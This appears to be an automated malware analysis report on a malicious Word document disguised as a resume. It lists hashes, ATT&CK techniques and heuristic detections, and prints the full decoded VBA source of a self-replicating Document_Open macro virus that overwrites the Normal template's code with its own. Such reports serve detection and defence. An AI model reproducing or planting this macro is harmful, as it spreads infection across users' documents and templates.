Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 00224c226c4aa7b1…

MALICIOUS

Office (OLE) / .DOC

2.20 MB Created: 2018-03-16 14:37:00 Authoring application: WPS Office_11.8.2.11542_F1E327BC-269C-435d-A152-05C5408002CA First seen: 2026-06-12
MD5: 6b3d9d06bbd494b86e4a4ad0416480b4 SHA-1: e9d9a250e69a23898834f7f2b9408a0feb6235f3 SHA-256: 00224c226c4aa7b132dc84475a7c36b967da5232781a8b62aeb2865215d232dd
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro attempts to replicate its code into the Normal template, a technique often used for persistence and spreading. The heuristic firings indicate self-replication and AV tampering, supporting the analysis of the macro's behavior. The document body appears to be a resume, which is likely a lure.

Heuristics 4

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
              .DeleteLines 1, .CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1025 bytes
SHA-256: b6bb40c3324a9a55276682d3a04936515debedc19798cd9b4db60b6bc4ef53ca
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'KILL
   On Error Resume Next
    Set prevDocument = NormalTemplate
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.